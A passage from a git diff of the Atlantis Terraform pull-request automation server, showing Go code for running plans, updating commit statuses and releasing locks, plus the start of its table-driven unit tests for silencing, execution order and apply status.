is whether Atlantis should respond to PRs if no projects + // are found + SilenceNoProjects bool + // SilenceVCSStatusNoPlans is whether autoplan should set commit status if no plans + // are found + silenceVCSStatusNoPlans bool + // SilenceVCSStatusNoPlans is whether any plan should set commit status if no projects + // are found + silenceVCSStatusNoProjects bool + commitStatusUpdater CommitStatusUpdater + pendingPlanFinder PendingPlanFinder + workingDir WorkingDir + prjCmdBuilder ProjectPlanCommandBuilder + prjCmdRunner ProjectPlanCommandRunner + dbUpdater *DBUpdater + pullUpdater *PullUpdater + policyCheckCommandRunner *PolicyCheckCommandRunner + autoMerger *AutoMerger + parallelPoolSize int + pullStatusFetcher PullStatusFetcher + lockingLocker locking.Locker + // DiscardApprovalOnPlan controls if all already existing approvals should be removed/dismissed before executing + // a plan. + DiscardApprovalOnPlan bool + pullReqStatusFetcher vcs.PullReqStatusFetcher + SilencePRComments []string +} + +func (p *PlanCommandRunner) runAutoplan(ctx *command.Context) { + baseRepo := ctx.Pull.BaseRepo + pull := ctx.Pull + + projectCmds, err := p.prjCmdBuilder.BuildAutoplanCommands(ctx) + if err != nil { + if statusErr := p.commitStatusUpdater.UpdateCombined(ctx.Log, baseRepo, pull, models.FailedCommitStatus, command.Plan); statusErr != nil { + ctx.Log.Warn("unable to update commit status: %s", statusErr) + } + p.pullUpdater.updatePull(ctx, AutoplanCommand{}, command.Result{Error: err}) + return + } + + projectCmds, policyCheckCmds := p.partitionProjectCmds(ctx, projectCmds) + + if len(projectCmds) == 0 { + ctx.Log.Info("determined there was no project to run plan in") + if !(p.silenceVCSStatusNoPlans || p.silenceVCSStatusNoProjects) { + // If there were no projects modified, we set successful commit statuses + // with 0/0 projects planned/policy_checked/applied successfully because some users require + // the Atlantis status to be passing for all pull requests. + ctx.Log.Debug("setting VCS status to success with no projects found") + if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + } + return + } + + // discard previous plans that might not be relevant anymore + ctx.Log.Debug("deleting previous plans and locks") + p.deletePlans(ctx) + _, err = p.lockingLocker.UnlockByPull(baseRepo.FullName, pull.Num) + if err != nil { + ctx.Log.Err("deleting locks: %s", err) + } + + // Only run commands in parallel if enabled + var result command.Result + if p.isParallelEnabled(projectCmds) { + ctx.Log.Info("Running plans in parallel") + result = runProjectCmdsParallelGroups(ctx, projectCmds, p.prjCmdRunner.Plan, p.parallelPoolSize) + } else { + result = runProjectCmds(projectCmds, p.prjCmdRunner.Plan) + } + + if p.autoMerger.automergeEnabled(projectCmds) && result.HasErrors() { + ctx.Log.Info("deleting plans because there were errors and automerge requires all plans succeed") + p.deletePlans(ctx) + result.PlansDeleted = true + } + + p.pullUpdater.updatePull(ctx, AutoplanCommand{}, result) + + pullStatus, err := p.dbUpdater.updateDB(ctx, ctx.Pull, result.ProjectResults) + if err != nil { + ctx.Log.Err("writing results: %s", err) + } + + p.updateCommitStatus(ctx, pullStatus, command.Plan) + p.updateCommitStatus(ctx, pullStatus, command.Apply) + + // Check if there are any planned projects and if there are any errors or if plans are being deleted + if len(policyCheckCmds) > 0 && + !(result.HasErrors() || result.PlansDeleted) { + // Run policy_check command + ctx.Log.Info("Running policy_checks for all plans") + + // refresh ctx's view of pull status since we just wrote to it. + // realistically each command should refresh this at the start, + // however, policy checking is weird since it's called within the plan command itself + // we need to better structure how this command works. + ctx.PullStatus = &pullStatus + + p.policyCheckCommandRunner.Run(ctx, policyCheckCmds) + } +} + +func (p *PlanCommandRunner) run(ctx *command.Context, cmd *CommentCommand) { + var err error + baseRepo := ctx.Pull.BaseRepo + pull := ctx.Pull + + ctx.PullRequestStatus, err = p.pullReqStatusFetcher.FetchPullStatus(ctx.Log, pull) + if err != nil { + // On error we continue the request with mergeable assumed false. + // We want to continue because not all apply's will need this status, + // only if they rely on the mergeability requirement. + // All PullRequestStatus fields are set to false by default when error. + ctx.Log.Warn("unable to get pull request status: %s. Continuing with mergeable and approved assumed false", err) + } + + if p.DiscardApprovalOnPlan { + if err = p.pullUpdater.VCSClient.DiscardReviews(ctx.Log, baseRepo, pull); err != nil { + ctx.Log.Err("failed to remove approvals: %s", err) + } + } + + projectCmds, err := p.prjCmdBuilder.BuildPlanCommands(ctx, cmd) + if err != nil { + if statusErr := p.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Plan); statusErr != nil { + ctx.Log.Warn("unable to update commit status: %s", statusErr) + } + p.pullUpdater.updatePull(ctx, cmd, command.Result{Error: err}) + return + } + + if len(projectCmds) == 0 && p.SilenceNoProjects { + ctx.Log.Info("determined there was no project to run plan in") + if !p.silenceVCSStatusNoProjects { + if cmd.IsForSpecificProject() { + // With a specific plan, just reset the status so it's not stuck in pending state + pullStatus, err := p.pullStatusFetcher.GetPullStatus(pull) + if err != nil { + ctx.Log.Warn("unable to fetch pull status: %s", err) + return + } + if pullStatus == nil { + // default to 0/0 + ctx.Log.Debug("setting VCS status to 0/0 success as no previous state was found") + if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + return + } + ctx.Log.Debug("resetting VCS status") + p.updateCommitStatus(ctx, *pullStatus, command.Plan) + } else { + // With a generic plan, we set successful commit statuses + // with 0/0 projects planned successfully because some users require + // the Atlantis status to be passing for all pull requests. + // Does not apply to skipped runs for specific projects + ctx.Log.Debug("setting VCS status to success with no projects found") + if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + } + } + return + } + + projectCmds, policyCheckCmds := p.partitionProjectCmds(ctx, projectCmds) + + // if the plan is generic, new plans will be generated based on changes + // discard previous plans that might not be relevant anymore + if !cmd.IsForSpecificProject() { + ctx.Log.Debug("deleting previous plans and locks") + p.deletePlans(ctx) + } + + // Only run commands in parallel if enabled + var result command.Result + if p.isParallelEnabled(projectCmds) { + ctx.Log.Info("Running plans in parallel") + result = runProjectCmdsParallelGroups(ctx, projectCmds, p.prjCmdRunner.Plan, p.parallelPoolSize) + } else { + result = runProjectCmds(projectCmds, p.prjCmdRunner.Plan) + } + ctx.CommandHasErrors = result.HasErrors() + + for i, projResult := range result.ProjectResults { + projCtx := projectCmds[i] + + if projResult.PlanStatus() == models.PlannedNoChangesPlanStatus || projResult.PlanStatus() == models.ErroredPlanStatus { + ctx.Log.Info("Keeping lock for project '%s' (no changes or error)", projCtx.ProjectName) + continue + } + + // delete lock only if there are changes + ctx.Log.Info("Deleting lock for project '%s' (changes detected)", projCtx.ProjectName) + lockID := projCtx.BaseRepo.FullName + "/" + strconv.Itoa(projCtx.Pull.Num) + "/" + projCtx.ProjectName + "/" + projCtx.Workspace + + _, err := p.lockingLocker.Unlock(lockID) + if err != nil { + ctx.Log.Err("failed unlocking project '%s': %s", projCtx.ProjectName, err) + } + } + + if p.autoMerger.automergeEnabled(projectCmds) && result.HasErrors() { + ctx.Log.Info("deleting plans because there were errors and automerge requires all plans succeed") + p.deletePlans(ctx) + result.PlansDeleted = true + } + + p.pullUpdater.updatePull( + ctx, + cmd, + result) + + pullStatus, err := p.dbUpdater.updateDB(ctx, pull, result.ProjectResults) + if err != nil { + ctx.Log.Err("writing results: %s", err) + return + } + + p.updateCommitStatus(ctx, pullStatus, command.Plan) + p.updateCommitStatus(ctx, pullStatus, command.Apply) + + // Runs policy checks step after all plans are successful. + // This step does not approve any policies that require approval. + if len(result.ProjectResults) > 0 && + !(result.HasErrors() || result.PlansDeleted) { + ctx.Log.Info("Running policy check for '%s'", cmd.CommandName()) + p.policyCheckCommandRunner.Run(ctx, policyCheckCmds) + } else if len(projectCmds) == 0 && !cmd.IsForSpecificProject() { + // If there were no projects modified, we set successful commit statuses + // with 0/0 projects planned/policy_checked/applied successfully because some users require + // the Atlantis status to be passing for all pull requests. + ctx.Log.Debug("setting VCS status to success with no projects found") + if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + } +} + +func (p *PlanCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { + if ctx.Trigger == command.AutoTrigger { + p.runAutoplan(ctx) + } else { + p.run(ctx, cmd) + } +} + +func (p *PlanCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus, commandName command.Name) { + var numSuccess int + var numErrored int + status := models.SuccessCommitStatus + + if commandName == command.Plan { + numErrored = pullStatus.StatusCount(models.ErroredPlanStatus) + // We consider anything that isn't a plan error as a plan success. + // For example, if there is an apply error, that means that at least a + // plan was generated successfully. + numSuccess = len(pullStatus.Projects) - numErrored + + if numErrored > 0 { + status = models.FailedCommitStatus + } + } else if commandName == command.Apply { + numSuccess = pullStatus.StatusCount(models.AppliedPlanStatus) + pullStatus.StatusCount(models.PlannedNoChangesPlanStatus) + numErrored = pullStatus.StatusCount(models.ErroredApplyStatus) + + if numErrored > 0 { + status = models.FailedCommitStatus + } else if numSuccess < len(pullStatus.Projects) { + // If there are plans that haven't been applied yet, no need to update the status + return + } + } + + if err := p.commitStatusUpdater.UpdateCombinedCount( + ctx.Log, + ctx.Pull.BaseRepo, + ctx.Pull, + status, + commandName, + numSuccess, + len(pullStatus.Projects), + ); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } +} + +// deletePlans deletes all plans generated in this ctx. +func (p *PlanCommandRunner) deletePlans(ctx *command.Context) { + pullDir, err := p.workingDir.GetPullDir(ctx.Pull.BaseRepo, ctx.Pull) + if err != nil { + ctx.Log.Err("getting pull dir: %s", err) + } + if err := p.pendingPlanFinder.DeletePlans(pullDir); err != nil { + ctx.Log.Err("deleting pending plans: %s", err) + } +} + +func (p *PlanCommandRunner) partitionProjectCmds( + ctx *command.Context, + cmds []command.ProjectContext, +) ( + projectCmds []command.ProjectContext, + policyCheckCmds []command.ProjectContext, +) { + for _, cmd := range cmds { + switch cmd.CommandName { + case command.Plan: + projectCmds = append(projectCmds, cmd) + case command.PolicyCheck: + policyCheckCmds = append(policyCheckCmds, cmd) + default: + ctx.Log.Err("%s is not supported", cmd.CommandName) + } + } + return +} + +func (p *PlanCommandRunner) isParallelEnabled(projectCmds []command.ProjectContext) bool { + return len(projectCmds) > 0 && projectCmds[0].ParallelPlanEnabled +} diff --git a/server/events/plan_command_runner_test.go b/server/events/plan_command_runner_test.go new file mode 100644 index 0000000000..4bc9d4eb2c --- /dev/null +++ b/server/events/plan_command_runner_test.go @@ -0,0 +1,828 @@ +package events_test + +import ( + "errors" + "testing" + + "github.com/google/go-github/v71/github" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/db" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/models/testdata" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" + . "github.com/runatlantis/atlantis/testing" + "github.com/stretchr/testify/require" +) + +func TestPlanCommandRunner_IsSilenced(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + + cases := []struct { + Description string + Matched bool + Targeted bool + VCSStatusSilence bool + PrevPlanStored bool // stores a 1/1 passing plan in the backend + ExpVCSStatusSet bool + ExpVCSStatusTotal int + ExpVCSStatusSucc int + ExpSilenced bool + }{ + { + Description: "When planning, don't comment but set the 0/0 VCS status", + ExpVCSStatusSet: true, + ExpSilenced: true, + }, + { + Description: "When planning with any previous plans, don't comment but set the 0/0 VCS status", + PrevPlanStored: true, + ExpVCSStatusSet: true, + ExpSilenced: true, + }, + { + Description: "When planning with unmatched target, don't comment but set the 0/0 VCS status", + Targeted: true, + ExpVCSStatusSet: true, + ExpSilenced: true, + }, + { + Description: "When planning with unmatched target and any previous plans, don't comment and maintain VCS status", + Targeted: true, + PrevPlanStored: true, + ExpVCSStatusSet: true, + ExpSilenced: true, + ExpVCSStatusSucc: 1, + ExpVCSStatusTotal: 1, + }, + { + Description: "When planning with silenced VCS status, don't do anything", + VCSStatusSilence: true, + ExpVCSStatusSet: false, + ExpSilenced: true, + }, + { + Description: "When planning with matching projects, comment as usual", + Matched: true, + ExpVCSStatusSet: true, + ExpSilenced: false, + ExpVCSStatusSucc: 1, + ExpVCSStatusTotal: 1, + }, + } + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + // create an empty DB + tmp := t.TempDir() + db, err := db.New(tmp) + t.Cleanup(func() { + db.Close() + }) + Ok(t, err) + + vcsClient := setup(t, func(tc *TestConfig) { + tc.SilenceNoProjects = true + tc.silenceVCSStatusNoProjects = c.VCSStatusSilence + tc.backend = db + }) + + scopeNull, _, _ := metrics.NewLoggingScope(logger, "atlantis") + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + + cmd := &events.CommentCommand{Name: command.Plan} + if c.Targeted { + cmd.RepoRelDir = "mydir" + } + + ctx := &command.Context{ + User: testdata.User, + Log: logging.NewNoopLogger(t), + Scope: scopeNull, + Pull: modelPull, + HeadRepo: testdata.GithubRepo, + Trigger: command.CommentTrigger, + } + if c.PrevPlanStored { + _, err = db.UpdatePullWithResults(modelPull, []command.ProjectResult{ + { + Command: command.Plan, + RepoRelDir: "prevdir", + Workspace: "default", + PlanSuccess: &models.PlanSuccess{}, + }, + }) + Ok(t, err) + } + + When(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).Then(func(args []Param) ReturnValues { + if c.Matched { + return ReturnValues{[]command.ProjectContext{{CommandName: command.Plan}}, nil} + } + return ReturnValues{[]command.ProjectContext{}, nil} + }) + + planCommandRunner.Run(ctx, cmd) + + timesComment := 1 + if c.ExpSilenced { + timesComment = 0 + } + + vcsClient.VerifyWasCalled(Times(timesComment)).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) + if c.ExpVCSStatusSet { + commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( + Any[logging.SimpleLogging](), + Any[models.Repo](), + Any[models.PullRequest](), + Eq[models.CommitStatus](models.SuccessCommitStatus), + Eq[command.Name](command.Plan), + Eq(c.ExpVCSStatusSucc), + Eq(c.ExpVCSStatusTotal), + ) + } else { + commitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount( + Any[logging.SimpleLogging](), + Any[models.Repo](), + Any[models.PullRequest](), + Any[models.CommitStatus](), + Eq[command.Name](command.Plan), + Any[int](), + Any[int](), + ) + } + }) + } +} + +func TestPlanCommandRunner_ExecutionOrder(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + + cases := []struct { + Description string + ProjectContexts []command.ProjectContext + ProjectResults []command.ProjectResult + RunnerInvokeMatch []*EqMatcher + PrevPlanStored bool + PlanFailed bool + }{ + { + Description: "When first plan fails, the second don't run", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + ExecutionOrderGroup: 0, + Workspace: "first", + ProjectName: "First", + ParallelPlanEnabled: true, + AbortOnExecutionOrderFail: true, + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 1, + Workspace: "second", + ProjectName: "Second", + ParallelPlanEnabled: true, + AbortOnExecutionOrderFail: true, + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + { + Command: command.Plan, + Error: errors.New("shabang"), + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + }, + PlanFailed: true, + }, + { + Description: "When first fails, the second will not run", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + ExecutionOrderGroup: 0, + ProjectName: "First", + ParallelPlanEnabled: true, + AbortOnExecutionOrderFail: true, + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 1, + ProjectName: "Second", + ParallelPlanEnabled: true, + AbortOnExecutionOrderFail: true, + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Plan, + Error: errors.New("shabang"), + }, + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{}, + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Never(), + }, + PlanFailed: true, + }, + { + Description: "When first fails by autorun, the second will not run", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + AutoplanEnabled: true, + ExecutionOrderGroup: 0, + ProjectName: "First", + ParallelPlanEnabled: true, + AbortOnExecutionOrderFail: true, + }, + { + CommandName: command.Plan, + AutoplanEnabled: true, + ExecutionOrderGroup: 1, + ProjectName: "Second", + ParallelPlanEnabled: true, + AbortOnExecutionOrderFail: true, + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Plan, + Error: errors.New("shabang"), + }, + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{}, + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Never(), + }, + PlanFailed: true, + }, + { + Description: "When both in a group of two succeeds, the following two will run", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + ExecutionOrderGroup: 0, + ProjectName: "First", + ParallelPlanEnabled: true, + AbortOnExecutionOrderFail: true, + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 0, + ProjectName: "Second", + AbortOnExecutionOrderFail: true, + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 1, + ProjectName: "Third", + AbortOnExecutionOrderFail: true, + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 1, + ProjectName: "Fourth", + AbortOnExecutionOrderFail: true, + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + { + Command: command.Plan, + Error: errors.New("shabang"), + }, + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + Never(), + Never(), + }, + PlanFailed: true, + }, + { + Description: "When one out of two fails, the following two will not run", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + ExecutionOrderGroup: 0, + ProjectName: "First", + ParallelPlanEnabled: true, + AbortOnExecutionOrderFail: true, + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 0, + ProjectName: "Second", + AbortOnExecutionOrderFail: true, + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 1, + ProjectName: "Third", + AbortOnExecutionOrderFail: true, + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 1, + AbortOnExecutionOrderFail: true, + ProjectName: "Fourth", + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + { + Command: command.Plan, + Error: errors.New("shabang"), + }, + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + Once(), + Once(), + }, + PlanFailed: true, + }, + { + Description: "Don't block when parallel is not set", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + ExecutionOrderGroup: 0, + ProjectName: "First", + AbortOnExecutionOrderFail: true, + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 1, + ProjectName: "Second", + AbortOnExecutionOrderFail: true, + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Plan, + Error: errors.New("shabang"), + }, + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + }, + PlanFailed: true, + }, + { + Description: "All project finished successfully", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + ExecutionOrderGroup: 0, + ProjectName: "First", + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 1, + ProjectName: "Second", + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + }, + PlanFailed: false, + }, + { + Description: "Don't block when abortOnExecutionOrderFail is not set", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + ExecutionOrderGroup: 0, + ProjectName: "First", + }, + { + CommandName: command.Plan, + ExecutionOrderGroup: 1, + ProjectName: "Second", + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Plan, + Error: errors.New("shabang"), + }, + { + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + }, + PlanFailed: true, + }, + } + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + // vcsClient := setup(t) + + tmp := t.TempDir() + db, err := db.New(tmp) + t.Cleanup(func() { + db.Close() + }) + Ok(t, err) + + vcsClient := setup(t, func(tc *TestConfig) { + tc.backend = db + }) + + scopeNull, _, _ := metrics.NewLoggingScope(logger, "atlantis") + + pull := &github.PullRequest{ + State: github.Ptr("open"), + } + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + + cmd := &events.CommentCommand{Name: command.Plan} + + ctx := &command.Context{ + User: testdata.User, + Log: logging.NewNoopLogger(t), + Scope: scopeNull, + Pull: modelPull, + HeadRepo: testdata.GithubRepo, + Trigger: command.CommentTrigger, + } + + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + When(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).ThenReturn(c.ProjectContexts, nil) + // When(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).Then(func(args []Param) ReturnValues { + // return ReturnValues{[]command.ProjectContext{{CommandName: command.Plan}}, nil} + // }) + for i := range c.ProjectContexts { + When(projectCommandRunner.Plan(c.ProjectContexts[i])).ThenReturn(c.ProjectResults[i]) + } + + planCommandRunner.Run(ctx, cmd) + + for i := range c.ProjectContexts { + projectCommandRunner.VerifyWasCalled(c.RunnerInvokeMatch[i]).Plan(c.ProjectContexts[i]) + } + + require.Equal(t, c.PlanFailed, ctx.CommandHasErrors) + + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Eq(modelPull.Num), Any[string](), Eq("plan"), + ) + }) + } +} + +func TestPlanCommandRunner_AtlantisApplyStatus(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + + cases := []struct { + Description string + ProjectContexts []command.ProjectContext + ProjectResults []command.ProjectResult + PrevPlanStored bool // stores a previous "No changes" plan in the backend + DoNotUpdateApply bool // certain circumtances we want to skip the call to update apply + ExpVCSApplyStatusTotal int + ExpVCSApplyStatusSucc int + }{ + { + Description: "When planning with changes, do not change the apply status", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + RepoRelDir: "mydir", + }, + }, + ProjectResults: []command.ProjectResult{ + { + RepoRelDir: "mydir", + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "Plan: 0 to add, 0 to change, 1 to destroy.", + }, + }, + }, + DoNotUpdateApply: true, + }, + { + Description: "When planning with no changes, set the 1/1 apply status", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + RepoRelDir: "mydir", + }, + }, + ProjectResults: []command.ProjectResult{ + { + RepoRelDir: "mydir", + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Infrastructure is up-to-date.", + }, + }, + }, + ExpVCSApplyStatusTotal: 1, + ExpVCSApplyStatusSucc: 1, + }, + { + Description: "When planning with no changes and previous plan with no changes do not set the apply status", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + RepoRelDir: "mydir", + }, + }, + ProjectResults: []command.ProjectResult{ + { + RepoRelDir: "mydir", + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "Plan: 0 to add, 0 to change, 1 to destroy.", + }, + }, + }, + DoNotUpdateApply: true, + PrevPlanStored: true, + }, + { + Description: "When planning with no changes and previous 'No changes' plan, set the 2/2 apply status", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + RepoRelDir: "mydir", + }, + }, + ProjectResults: []command.ProjectResult{ + { + RepoRelDir: "mydir", + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Infrastructure is up-to-date.", + }, + }, + }, + PrevPlanStored: true, + ExpVCSApplyStatusTotal: 2, + ExpVCSApplyStatusSucc: 2, + }, + { + Description: "When planning again with changes following a previous 'No changes' plan do not set the apply status", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + RepoRelDir: "prevdir", + Workspace: "default", + }, + }, + ProjectResults: []command.ProjectResult{ + { + RepoRelDir: "prevdir", + Workspace: "default", + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "Plan: 0 to add, 0 to change, 1 to destroy.", + }, + }, + }, + DoNotUpdateApply: true, + PrevPlanStored: true, + }, + { + Description: "When planning again with changes following a previous 'No changes' plan, while another plan with 'No changes' do not set the apply status.", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + RepoRelDir: "prevdir", + Workspace: "default", + }, + { + CommandName: command.Plan, + RepoRelDir: "mydir", + }, + }, + ProjectResults: []command.ProjectResult{ + { + RepoRelDir: "prevdir", + Workspace: "default", + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "Plan: 0 to add, 0 to change, 1 to destroy.", + }, + }, + { + RepoRelDir: "mydir", + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Infrastructure is up-to-date.", + }, + }, + }, + DoNotUpdateApply: true, + PrevPlanStored: true, + }, + { + Description: "When planning again with no changes following a previous 'No changes' plan, while another plan also with 'No changes', set the 2/2 apply status.", + ProjectContexts: []command.ProjectContext{ + { + CommandName: command.Plan, + RepoRelDir: "prevdir", + Workspace: "default", + }, + { + CommandName: command.Plan, + RepoRelDir: "mydir", + }, + }, + ProjectResults: []command.ProjectResult{ + { + RepoRelDir: "prevdir", + Workspace: "default", + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Infrastructure is up-to-date.", + }, + }, + { + RepoRelDir: "mydir", + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Infrastructure is up-to-date.", + }, + }, + }, + PrevPlanStored: true, + ExpVCSApplyStatusTotal: 2, + ExpVCSApplyStatusSucc: 2, + }, + } + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + // create an empty DB + tmp := t.TempDir() + db, err := db.New(tmp) + t.Cleanup(func() { + db.Close() + }) + Ok(t, err) + + vcsClient := setup(t, func(tc *TestConfig) { + tc.backend = db + }) + + scopeNull, _, _ := metrics.NewLoggingScope(logger, "atlantis") + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + + cmd := &events.CommentCommand{Name: command.Plan} + + ctx := &command.Context{ + User: testdata.User, + Log: logging.NewNoopLogger(t), + Scope: scopeNull, + Pull: modelPull, + HeadRepo: testdata.GithubRepo, + Trigger: command.CommentTrigger, + } + + if c.PrevPlanStored { + _, err = db.UpdatePullWithResults(modelPull, []command.ProjectResult{ + { + Command: command.Plan, + RepoRelDir: "prevdir", + Workspace: "default", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Your infrastructure matches the configuration.", + }, + }, + }) + Ok(t, err) + } + + When(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).ThenReturn(c.ProjectContexts, nil) + + for i := range c.ProjectContexts { + When(projectCommandRunner.Plan(c.ProjectContexts[i])).ThenReturn(c.ProjectResults[i]) + } + + planCommandRunner.Run(ctx, cmd) + + vcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), AnyInt(), AnyString(), AnyString()) + + ExpCommitStatus := models.SuccessCommitStatus + if c.ExpVCSApplyStatusSucc 